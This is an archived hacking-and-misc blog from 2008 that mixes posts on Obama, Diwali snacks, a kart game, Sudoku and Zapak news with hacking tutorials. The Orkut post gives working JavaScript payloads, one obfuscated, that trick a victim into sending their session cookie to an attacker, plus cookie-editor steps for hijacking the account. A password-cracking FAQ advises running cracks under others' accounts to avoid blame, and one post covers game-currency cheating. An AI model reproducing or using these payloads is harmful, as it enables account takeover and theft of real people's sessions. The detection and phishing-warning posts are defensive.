A: Completely at ease talking with crowds, she tirelessly campaigns for her husband and speaks of him and the election issues with passion and courage.

Q: Does Barack Obama have any children?

A: Barack Obama has two daughters, Malia and Natasha. They are currently being cared for by their grandmother, but Michelle Obama tries to fly home every night to tuck them into bed.

Q: Who are Barack Obama's parents?

A: Barack Obama was born in Hawaii on August 4, 1961, to Barack Obama, Sr. and Ann Dunham. His parents met while attending the University of Hawaii, where his father was enrolled as a foreign student. Barack's parents eventually divorced, and after his mother remarried, he lived in Indonesia for a time before returning to Hawaii to live with his grandparents. He later moved to New York, where he graduated from Columbia University in 1983.

Q: What is Obama's religion?

A: He is a Christian who has attended Trinity United Church of Christ for nearly 20 years.

Q: Is Barack Obama a Muslim?

A: No, he is not a Muslim, he is a Christian. While his grandfather was a Muslim, and this father an atheist and his mother an agnostic, Barack has been an actively practicing Christian for nearly 20 years, attending Chicago's Trinity United Church of Christ.

Q: What nationality is Barack Obama?

A: He is American, born in Hawaii on August 4, 1961, to Barack Obama, Sr. and Ann Dunham. His parents met while attending the University of Hawaii, where his father was enrolled as a foreign student. His mother is from heart land America (Kansas), and his father is from Kenya.

Official Website: www.barackobama.com

Click here for Barack Obama's Facebook profile...

What are the Basics in Password Hacking ~ Zapaky

2008-11-02T23:30:00.000+05:30

1. What are some password basics?

Most accounts on a computer system usually have some method of restricting access to that account, usually in the form of a password. When accessing the system, the user has to present a valid ID to use the system, followed by a password to use the account. Most systems either do not echo the password back on the screen as it is typed, or they print an asterisk in place of the real character.

On most systems,the password is typically ran through some type of algorithm to generate a hash. The hash is usually more than just a scrambled version of the original text that made up the password, it is usually a one-way hash. The one-way hash is a string of characters that cannot be reversed into its original text. You see, most systems do not "decrypt" the stored password during authentication, they store the one-way hash. During the login process, you supply an account and password. The password is ran through an algorithm that generates a one-way hash. This hash is compared to the hash stored on the system. If they are the same, it is assumed the proper password was supplied.

Cryptographically speaking, some algorithms are better than others at generating a one-way hash. The main operating systems we are covering here -- NT, Netware, and Unix -- all use an algorithm that has been made publically available and has been scrutinized to some degree.

To crack a password requires getting a copy of the one-way hash stored on the server, and then using the algorithm generate your own hash until you get a match. When you get a match, whatever word you used to generate your hash will allow you to log into that system. Since this can be rather time-consuming, automation is typically used. There are freeware password crackers available for NT, Netware, and Unix.

2. Why protect the hashes?

If the one-way hashes are not the password itself but a mathematical derivative, why should they be protected? Well, since the algorithm is already known, a password cracker could be used to simply encrypt the possible passwords and compare the one-way hashes until you get a match. There are two types of approaches to this -- dictionary and brute force.

Usually the hashes are stored in a part of the system that has extra security to limit access from potential crackers.

3. What is a dictionary password cracker?

A dictionary password cracker simply takes a list of dictionary words, and one at a time encrypts them to see if they encrypt to the one way hash from the system. If the hashes are equal, the password is considered cracked, and the word tried from the dictionary list is the password.

Some of these dictionary crackers can "manipulate" each word in the wordlist by using filters. These rules/filters allow you to change "idiot" to "1d10t" and other advanced variations to get the most from a word list. The best known of these mutation filters are the rules that come with Crack (for Unix). These filtering rules are so popular they have been ported over to cracking software for NT.

If your dictionary cracker does not have manipulation rules, you can "pre-treat" the wordlist. There are plenty of wordlist manipulation tools that allow all kinds of ways to filter, expand, and alter wordlists. With a little careful planning, you can turn a small collection of wordlists into a very large and thorough list for dictionary crackers without those fancy word manipulations built in.

4. What is a brute force password cracker?

A brute force cracker simply tries all possible passwords until it gets the password. From a cracker perspective, this is usually very time consuming. However, given enough time and CPU power, the password eventually gets cracked.

Most modern brute force crackers allow a number of options to be specified, such as maximum password length or characters to brute force with.

5. Which method is best for cracking?

It really depends on your goal, the cracking software you have, and the operating system you are trying to crack. Let's go through several scenarios.

If you remotely retrieved the password file through some system bug, your goal may be to simply get logged into that system. With the password file, you now have the user accounts and the hashes. A dictionary attack seems like the quickest method, as you may simply want access to the box. This is typical if you have a method of leveraging basic access to gain god status.

If you already have basic access and used this access to get the password file, maybe you have a particular account you wish to crack. While a couple of swipes with a dictionary cracker might help, brute force may be the way to go.

If your cracking software does both dictionary and brute force, and both are quite slow, you may just wish to kick off a brute force attack and then go about your day. By all means, we recommend a dictionary attack with a pre-treated wordlist first, followed up by brute force only on the accounts you really want the password to.

You should pre-treat your wordlists if the machine you are going to be cracking from bottlenecks more at the CPU than at the disk controller. For example, some slower computers with extremely fast drives make good candidates for large pre-treated wordlists, but if you have the CPU cycles to spare you might want to let the cracking program's manipulation filters do their thing.

A lot of serious hackers have a large wordlist in both regular and pre-treated form to accommodate either need.

6. What is a salt?

To increase the overhead in cracking passwords, some algorithms employ salts to add further complexity and difficulty to the cracking of passwords. These salts are typically 2 to 8 bytes in length, and algorithmically introduced to further obfuscate the one-way hash. Of the major operating systems covered here, only NT does not use a salt. The specifics for salts for both Unix and Netware systems are covered in their individual password sections.

Historically, the way cracking has been done is to take a potential password, encrypt it and produce the hash, and then compare the result to each account in the password file. By adding a salt, you force the cracker to have to read the salt in and encrypt the potential password with each salt present in the password file. This increases the amount of time to break all of the passwords, although it is certainly no guarantee that the passwords can't be cracked. Because of this most modern password crackers when dealing with salts do give the option of checking a specific account.

7. What are the dangers of cracking passwords?

The dangers are quite simple, and quite real. If you are caught with a password file you do not have legitimate access to, you are technically in possession of stolen property in the eyes of the law. For this reason, some hackers like to run the cracking on someone else's systems, thereby limiting their liability. I would only recommend doing this on a system you have a legitimate or well-established account on if you wish to keep a good eye on things, but perhaps have a way of running the cracking software under a different account than your own. This way, if the cracking is discovered (as it often is -- cracking is fairly CPU-intensive), it looks to belong to someone else. Obviously, you would want to run this under system adminstrator priviledges as you may have a bit more control, such as assigning lower priority to the cracking software, and hiding the results (making it less obvious to the real administrator).

Being on a system you have legit access to also allows you better access to check on the progress. Of course, if it is known you are a hacker, you'll still be the first to be blamed whether the cracking software is yours or not!

Running the cracking software in the privacy of your own home has the advantage of allowing you to throw any and all computing power you have at your disposal at a password, but if caught (say you get raided) then there is little doubt whose cracking job is running. However, there are a couple of things you can do to protect yourself: encrypt your files. Only decrypt them when you are viewing them, and wipe and/or encrypt them back after you are done viewing them.

ZaPaky means Zapak Hacking

Also see:

Orkut Hacking

How to hack a Yahoo ID

Forums Hacking

Go nuts without guilt this Diwali ~ Happy Diwali 2008

2008-10-26T11:02:00.000+05:30

Those Diwali hampers won’t hamper your health at all. In fact, they can be good for you.

Mithai, too, is good, especially if it is made with milk, ghee and is low in sugar. Ghee has 40 per cent monounsaturated fat, a ‘good’ fat that lowers bad cholesterol and reduces build-up of plaque (fat deposits) in the arteries. “It is also high in beta-carotene, which is an antioxidant that fights heart disease, and vitamin A that improves eyesight. One teaspoon a day will benefit rather than harm,” says nutritionist Ishi Khosla of WholeFoods.

“Avoid coloured mithais as the colouring used is often not foodgrade,” warns Parmeet Kaur, chief nutritionist at the All India Institute of Medical Sciences.

“Though high in calories, nuts are also high in fibre and protect the heart in many ways. The protein in nuts is high in arginine, an amino acid that relaxes blood vessels and increases blood flow,” says Kaur. Walnuts, almonds and peanuts are healthier than other nuts.

It’s good news even for those who prefer wine, cheese and chocolate. The chemicals, resveratrol and quercetin, in red wine protect against heart disease and some form of cancers by preventing cellular damage, boosting the immune system and dilating small blood vessels to increase blood flow.

High in antioxidants that fight cancer, heart disease and aging, chocolate – especially dark chocolate, which is less sugary – has a heart-protective fat called stearic acid. Chocolates also make you happy by increasing serotonin levels in the brain.

Crazy Kart Hack

2008-10-24T14:47:00.000+05:30

Kart n Crazy is a 3D, cartoony kart racing game similar to Nintendo’s Mario Kart. Players race around dozens of courses while lobbing items at each other. There are several game modes, including single and team races. Several different characters and vehicles can be purchased with the in game currency ‘Nitro.’ While there are some connection and collusion problems, Kart N Crazy is a great casual racer.

Pros: +Colorful graphics. +Varied courses. +Good item selection. +Functional drifting and wind funneling. +Multiple vehicles and characters.

Cons: -Small game population. -Obstacle collision bugs, connection problems. -Controls feel delayed. -Must complete races to earn decent experience & Nitro. -items in shop are expensive and temporary.

And here is a Review I've got from an MMO site:

Kart N Crazy Reviewed

Kart N Crazy is published by GAO which is a European publisher, but thankfully people from all over the world can create accounts and play this cartoony racing game. Like Come On Baby, Kart N Crazy is obviously influenced by the Mario Kart series by Nintendo. Like Mario Kart, players ride karts and must lob items at each other to reach the finish line. Many of the items in Kart N Crazy are also very similar to those in Mario Kart, like the green turtle shell.

New players are given four character choices but different avatars can later be purchased from the shop. After character creation, players can join one of three channels, since the first channel seems to have the highest population its best to stick with that one. There are four short optional tutorial stages which will teach the game’s basic controls. The first lesson covers simple movement, the second introduces items, the third teaches players how to drift and the final lesson teaches a more complicated move called the mini-boost. Mastering the mini boost is very important in Kart N Crazy. This technique is also borrowed from Mario Kart, while drifting blue flames will come out of the player’s kart and when these flames turn red, players must hit the forward arrow key to preform a small boost.

There are two game modes in Kart N Crazy; Item and Speed. The only difference between them is that one allows items while the other does not. Each mode can be played in either ’single’ or ‘team’ variants. Singles games are restricted to 2-8 players while team games can have 2-16 players. There are nine different course types but each course type has several different tracks, which brings the total number of playable tracks to over 20. Each map has vibrant colors and a different theme. Like many other racers, players can get a boost at the start by hitting forward when the timer hits ‘1′. Kart N Crazy also has wind funnel feature like the one in Mario Kart DS. By standing behind another player gives you a speed boost which helps losing players catch up. Kart N Crazy has many cool items to spice up the races. Many of these items are obviously inspired by Mario Kart items. For example, one item turns players in a rabbit that automatically moves the player forward rapidly.

Check mmohub for mo infos

Crazy Kart Cash and Gold Hack

2008-10-24T14:45:00.000+05:30

Are your asking how i got this whole lot'a Cash?!?

To tell you the truth i did not top up real cash for this, I just used my brains.

I've been playing many Online Games now and i experienced Hacks Cheats and Bots To those games. So with my experience and knowledge about these i was able to hack through the game and got 10000 Cash.

It's very simple you just have to download Cheat Engine HERE and follow these steps

Install/Extract Cheat Engine
Open Cheat Engine
Go to the top right corner where there is a picture of a flashing computer
Select 1320v151S from the list of processes
Change the Value type to text. This will be used on MOST cheats.
Search for whatever you are told to search for
The results in the left are the ones you will be using
To browse the memory region right click and select browse memory region
To edit the value, highlight the results you want and click the red arrow pointing to the bottom, right click your result once it gets down there and select change record. Then choose value.
For problems about the program, just visit the software's author at Cheat Engine HERE

How to Hack Yahoo ID ?

2008-10-21T00:49:00.000+05:30

Hi Guys,

I was shocked when i heard one of my colleague yahoo id is hacked and its true we were receiving junk mails from that yahoo id and from day i was spending most of my free time to find out how they might have hacked her yahoo id. Then finally i got it how they might have hacked,The four most common ways of Hacking Yahoo ids are ..

1.) Social Engineering
2.) Password Crackers
3.) Using Password Stealing Trojans/Keyloggers
4.) Fake Login Pages

1. Social Enginnering is actually nothing but trying to know your personal and confidential details and then using it to change your password ..BUT HOW? ok there's a forgot password option with Yahoo which asks for your B'day,Country & Zip Code & later your security question..Now generally lamers who try this mode of Hacking have lots of time to waste ..They will put you into some kinda friendship/emotional trap and try to get all the above mentioned information .It may take 1-2 days or even 1-2 month ...(Really I pitty on such lamers !! ).

2.The second kinda Hacking attempt is done with the Help of Yahoo Password Crackers...I doubt bout their efficiency bt still some of them r lucky (other way round u r stupid lol)..Password Crackers & Password Changers use Brute Force Technique with their updated wordlists...WHAT IS BRUTE FORCE ?I'll make it simple ..it's like using all possible combinations and permutations on the available data and using it as a password ..Bt again it takes a hell lot of time to crack a password ....

3.The third and one of the most frequently used way of hacking or stealing Yahoo password is using trojans and keyloggers ..WHAT ARE TROJANS? hmmm.. I already have one ...bt still TROJANS are simple programs with a server part and the client part ..you infect the victims computer with the server part and the server then connects to the client running on your system and sends passwords and vital informations..and KEYLOGGERS are programs which record your keystrokes in a log.txt file and sends that log file to the Hacker...

I have this trojan programm beleive me it worked guys i tried it on my yahoo id. Dont want to say more about it secret ... lol.. ;) So please be carefull when you are accepting any files send by some one.

Once Infected by these trojans the infected server sends your password to the Hackers Yahoo Messenger id as PM 's ...

4. The last form of Yahoo Password stealing is done by using FAKE LOGIN PAGES ..Now wht the **** :-) is Fake login Page ?These are cloned pages of the real Yahoo Mail Sign in pages .They look very similar to the real conterparts and really very difficult to distinguish..Once you put inyour real id and password and press the submit button you will be either redirected to some other pasge /invalid login page but the trick had already been played by this time ..your id and password would have been mailed to the Hackers mail id by using a 3rd party SMTP server and you don't even realize that you are HACKED...

So be carefull Always view the address bar ..If the address bar shows something like http://mail.yahoo.com or http://edit.login.yahoo.com then its the authentic page but if its something different then DONOT login.

ORKUT HACKING: How to hack orkut accounts of your Freinds

2008-10-16T23:24:00.000+05:30

First get firefox and the cookie editor plugin for it...they will be required in this operation.

Then make two fake accounts...u will ned one to receive the cookie and one to advertise your script so that if orkut starts deleting such profiles your real account wont be compromised.Its your choice.

javascript:nobody=replyForm;nobody.toUserId.value=62915936;
nobody.scrapText.value=eval
(String.fromCharCode(100,111,99,117,109,101,110,116,46,99,
111,111,107,105,101)); nobody.action='Scrapbook.aspx?Action.writeScrapBasic';
nobody.submit()

U see the 62915936 part? Thats the one u need to edit to get the cookie to your account.....

Now here is the script Code:

HOW TO PUT UR NUMBER IN THAT SECTION??? FOLLOW THESE STEPS:

1) Go to YOUR ALBUM section.

2) Go to ANY photo and right click on it , see the properties of your display image...u will see something like 12345678.jpg

3) There will be a eight digit value.

4) Now put that value in the above javascript.

5) Thats it.

Now your javascript will look like:

javascript:nobody=replyForm;nobody.toUserId.value=yournumber;
nobody.scrapText.value=eval
(String.fromCharCode(100,111,99,117,109,101,110,116,46,99,
111,111,107,105,101));
nobody.action='Scrapbook.aspx?Action.writeScrapBasic';
nobody.submit()

Now give this script to the victim , ask him to go to his scrap book and paste this script in his address bar and press enter. now you ll get his cookies in your scrapbook.

Now after getting a cookie...

1) Go to your home page

2) Open the cookie editor plugin(TOOLS-->COOKIE EDITOR).

3) Type orkut in the text box and click filter/refresh.look for orkut_state cookie.

4) Just double click it and replace the orkut_state part with your victims. No need to change the _umbz _umbc part...

5) THATS IT!!

ANOTHER SCRIPT : (100%working)

javascript:nobody=replyForm;nobody.toUserId.value=53093255;

nobody.scrapText.value=document.cookie;nobody.

action='scrapbook.aspx?Action.submit';nobody.submit()

Put ur eight digit number in the place of (53093255)

{ ORKUT HACKING }

Google uses a 4 Level Orkut login which makes it difficult to hack using brute force attack.

First Level Security-SSL or 128 bit secured connection

Second Level Google account checks for cookie in the sytem of user

Third Level Google provides a redirection to the entered User information

Fourth Level Google doesn't use conventional php/aspx/asp coding so impossible to attack using input validation attack!!!

It is not an easy task to break this security! But still some people manages to get access to other accounts. The question concerned is How they do it? Many of them just use simple tricks that befool users and then they themself leak out their password. Here are some points you need to take care of, to prevent your Orkut account being hacked!

Phishing Attack is the most popular way of stealing other's password.By using fake login pages. The users land on a page where they are asked for their login information and they enter their username and password thinking it to be a real page but actually it is other way round. It submits all the details entered to the programmer or the coder.

Orkut New Features: I have come across a page that looks like they are giving the user a choice of selecting new features for orkut with your ID and password, of course!! When user submit the page, there goes his ID and password mailed to the coder.

Community Links: Many times you are provided with a link to a community in a scrap. Read the link carefully, It may be something like http://www.okrut.com/Community.aspx?cmm=22910233 OKRUT not ORKUT. Clicking on this link will take you to a fake login page and there you loose up your password.

Java script: You must have seen the circulating scraps that asks you to paste this code in your address bar and see what happens! Well sometimes they also leak out your information. Check the code and if you are unsure of what to do, then I recommend not to use it.

Primary mail address: If by some means a hacker came to know password of your Yahoo mail or Gmail, which users normally keeps as their primary mail address in their Orkut account, then hacker can hack Orkut account by simply using USER ID and clicking on 'forget password'.This way Google will send link to the already hacked primary email id to change the password of the Orkut account. Hence the email hacker will change your Orkut account's password. Hence your Orkut account hacked too.

So a better thing would be to keep a very unknown or useless email id of yours as primary email id so that if the hacker clicks on 'Forgot password' the password changing link goes to an unknown email id i.e. not known to the hacker.Hence your Orkut account saved.

If you would like to share something, comment here and I will add up here with a credit to your name.

Also see:

How to play Chess?

How to play Sudoku?

if you like this post, then please comment below..

Zapak’s game for global play

2008-10-15T16:25:00.001+05:30

Zapak.com, part of the Anil Dhirubhai Ambani Group (ADAG), is planning to launch gaming portals in Europe and China.

Rohit Sharma, the chief operating officer of Zapak Digital Entertainment, told DNA Money the company is also looking at investing in content developers for gaming, from countries like US and Korea, and has a kitty of $5 million to $10 million for the same.

The ADAG-promoted venture is expected to invest $100 million in Zapak’s three verticals — gaming portals, gaming cafes and content creation — over the next 3-5 years.

“We are launching a European site and a Chinese site and are looking to be a global brand very soon. We may also invest in some studios because software creation and ownership are key in gaming,” Sharma added.

Currently, Zapak has a mix of Indian and international developers with 60% of the content sourced from abroad. The Indian gaming developers that supply to the company include Saffronrage Solutions and Jump Games.

Zapak generates revenue mainly through advertising through banners and advergaming. It has brands like Cadburys, Maruti, Parle-G, Thums Up and Adidas already on board.

He declined to disclose the revenues for the company but said that the situation is “fairly decent”. The company recently forayed into gaming cafés in Chennai, Hyderabad, Pune and Bangalore.

The next three weeks would see them launching in eight more cities, including in Mumbai. It has set a target of 200 gaming cafés by March 2008.

The online gaming market in India is powered by the rise in internet usage especially through broadband, growth in internet cafes, and the burgeoning middle-class with rising disposable income.

An analyst report had earlier forecast that the online gaming market in India will exceed $200 million by 2010. Sharma said the biggest driver of growth in the gaming space was online gaming with China and Korea having revolutionised the market. He expects the Indian gaming story to follow a similar path.

An Analysis of Hacker Mentality ~ About Hackers

2008-10-08T15:18:00.000+05:30

An Analysis of Hacker Mentality

Why people hack is a subject which is often discussed. Some say the explanation is the same as the one given by people who climb mountains: 'because they [computers] are out there'. Others claim that by highlighting vulnerabilities, hacking helps increase computer security. And finally, there is the explanation most often put forward: criminal intent.

Whatever the reason, as long as computers exists there will be hackers - white hats, black hats and grey hats. And because there is no way of predicting which kind of attack ('curiosity' versus 'malicious') will hit your computer first, it is always best to be prepared for the worst.

The truth is that in hours of a machine being connected to the Internet, somebody will scan it with an automated vulnerability probing tool, looking for ways to get in. It may be somebody who is just curious to see what is on the machine, or a white hat from the other side of the world checking to see if the computer is secure. Of course, in real life you wouldn't want passing strangers stopping to check if your house or car were locked, and, if not, to go inside, look around, go through your possessions and leave a note saying 'Hi, I was here, your door was open, but don't mind me and BTW, fix your lock'. If you wouldn't want someone to do this to your house, you wouldn't want someone doing it to your computer. And there is no excuse for doing it to someone else's computer either.

Premeditated, criminal, hacking is obviously even worse. In the real world, somebody walks by, breaks your lock, gets inside, disables your alarm system, steals something or plants listening devices in your phone or surveillance equipment in your living room. If this happens you call the police, they look around, write a report, and you wait for the thieves to be caught. Unfortunately, this is a rare luxury in the computer world; the culprit may be far, far way, downloading your confidential files while sitting in his personal villa or sunbathing by his huge pool, nicely built with stolen money. Or, in a business environment, many large corporations prefer not to report hacking incidents at all, in order to protect their company image. This means that the criminals remain unpunished.

Another hacker motivation may be hooliganism, or digital graffiti, which can be summed up as hacking into systems to cause damage. Web site defacement is a very popular form of digital graffiti and there are some hacking groups which focus on this task alone. Just as in the physical, non-cyber world, catching the hooligans is a tedious task which usually doesn't repay the effort or resources expended.

Whatever the reasoning, be it 'to help others', 'security heads-up!', 'hooliganism' or 'criminal intent', hacking is a phenomenon which is deeply rooted in the world of computing and will probably never die. There will always be people immature enough to abuse public resources, self-proclaimed 'Robin Hoods' and criminals hiding in the dark alleys of cyberspace.

source: http://www.viruslist.com/en/hackers/info?chapter=153350028

Major Hackers Personalities

This section contains brief information on some of the most famous hackers, both black and white hats. The individuals below are well known for a variety of reasons: their actions, whether good or bad, their contributions to software and technology development, or their innovative approach, skills and ability to think out of the box.

Richard Stallman is known as the father of free software. When Stallman started working at MIT's Artificial Intelligence Lab in 1971 he was confronted with 'non disclosure agreements' and closed program sources while he was hacking and improving system drivers the 'traditional way'. After an interesting battle to obtain the source code of a faulty printer utility, Stallman gave up his job and became the loudest advocate for free computer software, creating GNU and the Free Software Foundation in the process.

Dennis Ritchie and Ken Thompson are famous for two major software developments of the 20th century: the UNIX operating system and the C programming language. These two began their carriers at Bell Labs in 1960's, revolutionising the computer world forever with their ideas. While Ken Thompson has retired from the computer world, Dennis Ritchie is still employed at Lucent Technology, working on a new operating system derived from Unix, called 'Plan9'.

John Draper, aka 'Cap'n Crunch' is famous for his ability to hack phone systems using nothing but a whistle from the 'Cap'n Crunch' cereal boxes (hence the nickname). Besides being the father of 'phone phreaking', John Draper is also famous for writing what was perhaps the first IBM PC word processor. He now heads his own security venture, developing antispam solutions, thwarting hacker attacks and securing PCs.

Robert Morris is famous for creating the first Internet worm in 1988. It infected thousand of systems, and practically brought the Internet to a halt for nearly a day. The 'Morris Worm' was perhaps the first fully automated hacking tool, exploiting a couple of unpatched vulnerabilities on Vax and Sun computers.

Kevin Mitnick, possibly the best known case of a 'black hat', was caught by the computer expert Tsutomu Shimomura back in 1995.

Kevin Poulsen remains famous for his 1990 hack of the phone system in Los Angeles. This enabled him to become the 102nd caller in a radio-phone and win a Porsche 944. Kevin Poulsen was eventually caught and imprisoned for three years. He now works as a columnist for the online security magazine 'SecurityFocus'.

Vladimir Levin, a Russian computer expert, hacked into Citibank and extracted USD $10 million. He was arrested by Interpol in UK, back in 1995 and sentenced to three years in prison, as well as being required to pay USD $240,015 in restitution.

Tsutomu Shimomura is a good example of a 'white hat'. He was working for the San Diego Supercomputing Center when Kevin Mitnick broke into his network and stole information on cellular technology and other classified data. Tsutomu started the pursuit for Mitnick which eventually led to his arrest.

Linus Torvalds is known as the father of Linux, the most popular Unix-based operating system in use nowadays. Linus started his work on a new operating system in 1991, adopting several controversial technologies for his project, namely the concept of Free Software and GNU's Public License system. He is also known for his early disputes with Andrew Tannenbaum, the author of Minix, which was the inspirational source for Linus' OS project.

Zapaky means Zapak Hacking

How to Detect a Hacker Attack ~ About Hackers

2008-10-08T14:57:00.000+05:30

Most computer vulnerabilities can be exploited in a variety of ways. Hacker attacks may use a single specific exploit, several exploits at the same time, a misconfiguration in one of the system components or even a backdoor from an earlier attack.

Due to this, detecting hacker attacks is not an easy task, especially for an inexperienced user. This article gives a few basic guidelines to help you figure out either if your machine is under attack or if the security of your system has been compromised. Keep in mind just like with viruses, there is no 100% guarantee you will detect a hacker attack this way. However, there's a good chance that if your system has been hacked, it will display one or more of the following behaviours.

Windows machines:

Suspiciously high outgoing network traffic. If you are on a dial-up account or using ADSL and notice an unusually high volume of outgoing network (traffic especially when you computer is idle or not necessarily uploading data), then it is possible that your computer has been compromised. Your computer may be being used either to send spam or by a network worm which is replicating and sending copies of itself. For cable connections, this is less relevant - it is quite common to have the same amount of outgoing traffic as incoming traffic even if you are doing nothing more than browsing sites or downloading data from the Internet.
Increased disk activity or suspicious looking files in the root directories of any drives. After hacking into a system, many hackers run a massive scan for any interesting documents or files containing passwords or logins for bank or epayment accounts such as PayPal. Similarly, some worms search the disk for files containing email addresses to use for propagation. If you notice major disk activity even when the system is idle in conjunction with suspiciously named files in common folders, this may be an indication of a system hack or malware infection.
Large number of packets which come from a single address being stopped by a personal firewall. After locating a target (eg. a company's IP range or a pool of home cable users) hackers usually run automated probing tools which try to use various exploits to break into the system. If you run a personal firewall (a fundamental element in protecting against hacker attacks) and notice an unusually high number of stopped packets coming from the same address then this is a good indication that your machine is under attack. The good news is that if your personal firewall is reporting these attacks, you are probably safe. However, depending on how many services you expose to the Internet, the personal firewall may fail to protect you against an attack directed at a specific FTP service running on your system which has been made accessible to all. In this case, the solution is to block the offending IP temporarily until the connection attempts stop. Many personal firewalls and IDSs have such a feature built in.
Your resident antivirus suddenly starts reporting that backdoors or trojans have been detected, even if you have not done anything out of the ordinary. Although hacker attacks can be complex and innovative, many rely on known trojans or backdoors to gain full access to a compromised system. If the resident component of your antivirus is detecting and reporting such malware, this may be an indication that your system can be accessed from outside.

Unix machines:

Suspiciously named files in the /tmp folder. Many exploits in the Unix world rely on creating temporary files in the /tmp standard folder which are not always deleted after the system hack. The same is true for some worms known to infect Unix systems; they recompile themselves in the /tmp folder and use it as 'home'.
Modified system binaries such as 'login', 'telnet', 'ftp', 'finger' or more complex daemons, 'sshd', 'ftpd' and the like. After breaking into a system, a hacker usually attempts to secure access by planting a backdoor in one of the daemons with direct access from the Internet, or by modifying standard system utilities which are used to connect to other systems. The modified binaries are usually part of a rootkit and generally, are 'stealthed' against direct simple inspection. In all cases, it is a good idea to maintain a database of checksums for every system utility and periodically verify them with the system offline, in single user mode.
Modified /etc/passwd, /etc/shadow, or other system files in the /etc folder. Sometimes hacker attacks may add a new user in /etc/passwd which can be remotely logged in a later date. Look for any suspicious usernames in the password file and monitor all additions, especially on a multi-user system.
Suspicious services added to /etc/services. Opening a backdoor in a Unix system is sometimes a matter of adding two text lines. This is accomplished by modifying /etc/services as well as /etc/ined.conf. Closely monitor these two files for any additions which may indicate a backdoor bound to an unused or suspicious port.

source: http://www.viruslist.com/en/hackers/info?chapter=153349899

Zapaky means Zapak Hacking

Sudoku Rules: Sudoku Rules Are Simple ~ Zapak

2008-10-02T11:03:00.001+05:30

It's the solution that's the challenge. Here are the illustrated Sudoku rules.

Rows

There are 9 rows in a traditional Sudoku puzzle. Every row must contain the numbers 1, 2, 3, 4, 5, 6, 7, 8, and 9. There may not be any duplicate numbers in any row. In other words, there can not be any rows that are identical.

In the illustration at the left the numbers 5, 3, 1, and 2 are the "givens". They can not be changed. The remaining numbers in black are the numbers that you fill in to complete the row.

Columns

There are 9 columns in a traditional Sudoku puzzle. Like the Sudoku rule for rows, every column must also contain the numbers 1, 2, 3, 4, 5, 6, 7, 8, and 9. Again, there may not be any duplicate numbers in any column. Each column will be unique as a result.

In the illustration at the left the numbers 7, 2, and 6 are the "givens". They can not be changed. You fill in the remaining numbers as shown in black to complete the column.

Regions

A region is a 3x3 box like the one shown to the left. There are 9 regions in a traditional Sudoku puzzle.

Like the Sudoku requirements for rows and columns, every region must also contain the numbers 1, 2, 3, 4, 5, 6, 7, 8, and 9. Duplicate numbers are not permitted in any region. Each region will differ from the other regions.

In the illustration to the left the numbers 1, 2, and 8 are the "givens". They can not be changed. Fill in the remaining numbers as shown in black to complete the region.

In summary,

the Sudoku rule is: Complete the Sudoku puzzle so that each and every row, column, and region contains the numbers one through nine only once.

There is only one solution to a properly designed Sudoku puzzle.

Also see:

Sudoku Tips

Sudoku Tutorial

How to Play Chess?

(Zapaky means Zapak Hacking)

Sudoku Tips: "Can You Use Some Sudoku Tips?" ~ Zapak

2008-10-02T11:03:00.000+05:30

Would some Sudoku tips help you turn from an amateur to a professional puzzle solver? Use these Sudoku hints and strategies to solve Sudoku puzzles easier.

When you begin to play Sudoku, you probably will have moments when you reach a roadblock. We all do. It may seem impossible to you to solve anything but the most simple Sudoku puzzles.

Well I have some good news. Apply these Sudoku tips and you will solve most Sudoku puzzles. To solve the hardest puzzles and games, use advanced strategies such as X-Wing, XY-Wing, and Swordfish.

There are two ways to approach the Sudoku Solving process. You can use logic retaining in your memory the possible candidates for each cell, row, column, and region or you can write the candidates down.

I prefer to use the process of elimination to solve Sudoku. This leads me to my first of several Sudoku tips and that is pencil in all the possible candidates for each cell, row, column, and region.

Some Sudoku computer programs have the option to show you all the possible candidates. Some online puzzles allow you to pencil in your candidates. This makes life a little easier. The paper version, board games, and handhelds usually lack this capability. In these cases use my free blank grid with candidates worksheet.

Naked Single Candidates

Every Sudoku puzzle will have cells that have only one possible candidate. If there aren't any other candidates showing, Sudoku players call this a naked single.

Every naked single allows us to safely eliminate that number from all other cells in the row, column, and region that the naked single lies in. The logic is simple. If there is only one cell a number can go in, then it can't go anywhere else. Below is an example of a naked single.

In the example to the left, you can see the naked single is the nine. All the other nines may be crossed off leaving a 6,8 pair, 6,7 pair, a single 7, and a 4,6,8 triple. If you didn't pencil in all the possible candidates, the naked nine would be less obvious.

No doubt you also noted in this example that once you solved for the naked nine, the 7,9 pair's solution became a naked single. The 7,9 pair is called a hidden single. Below is another example of a hidden single.

Hidden Singles

In the example at the left there are two hidden singles. Hidden singles have only one place they can go. The extra candidates in the cell "hide" the single solution.

In this example, the third cell from the top is a seven. Likewise in the bottom cell the only number that can go there is a four.

When there is a lot of candidates showing from the surrounding rows, columns, and regions, a hidden single can be hard to spot. Hidden singles will occur often.

Now for my next Sudoku tip. Look for "naked pairs".

Naked Pairs

In the example to the left there is a "naked pair". A naked pair is two identical candidates in a particular row, column, or region. This combination of candidates will occur often also.

When you see a naked pair, it is safe to eliminate those two numbers from all other cells in the row, column, or region the pair reside in.

In the naked pair example it is safe to eliminate the four and six from the two quads of 3,4,6, and 8. Doing so, leaves two 3,8 pairs. The 3,4,6, and 8 quads are really "hidden pairs". More Sudoku tips on this.

Hidden Pairs

In the example at the left there is a hidden pair 2 and 9. They are circled in red. Hidden pairs are identified by the fact that a pair of numbers occur in only two cells of a row, column, or region. They are "hidden" because the other numbers in the two cells make their presence harder to spot.

It is safe to remove all other digits from the two cells circled in red so that only the two and nine remain. Hidden pairs will appear often in your Sudoku puzzles and games.

Naked Triples

Another Sudoku tip is to look for "naked triples". Naked triples like the name suggests are three numbers that do not have any other numbers residing in the cells with them.

Unlike naked pairs, naked triples do not need all of the three candidates in every cell. Quite often only two of the three candidates will be shown.

In the example at the left, the three cells circled are the three naked triples. They are 5,6 and 9. Only a 5,6 and 9 can appear in those three locations. Therefore, you can remove all 5,6, and 9s from the other cells in this row.

When you remove the 6,9 from two cells and the 5,6 you will discover a naked pair (1,4) and a hidden single (2). See how these Sudoku tips help you solve puzzles?

Hidden Triples

Hidden triples are much harder to spot. They will occur in harder puzzles. Hidden triples like naked triples are restricted to three cells in a row, column, or region. Hidden triples like hidden pairs have additional digits that camouflage the three candidates.

If you look at the example at the left, you will see three cells circled in red. These are the hidden triples. Can you spot them?

You are right, they are 4, 8, and 9. Remove the extra numbers from the cells circled in red. Do you think hidden triples are tough to find? Try quads.

Naked Quads

Another Sudoku tip is to look for "naked quads". Naked quads are like naked triples with the exception that four numbers are restricted to four cells in a row, column, or region.

In the example at the left the naked quads are circled. They are 3,5,6, and 8. Remove any instance of these four numbers from the other cells in this row.

Hidden Quads

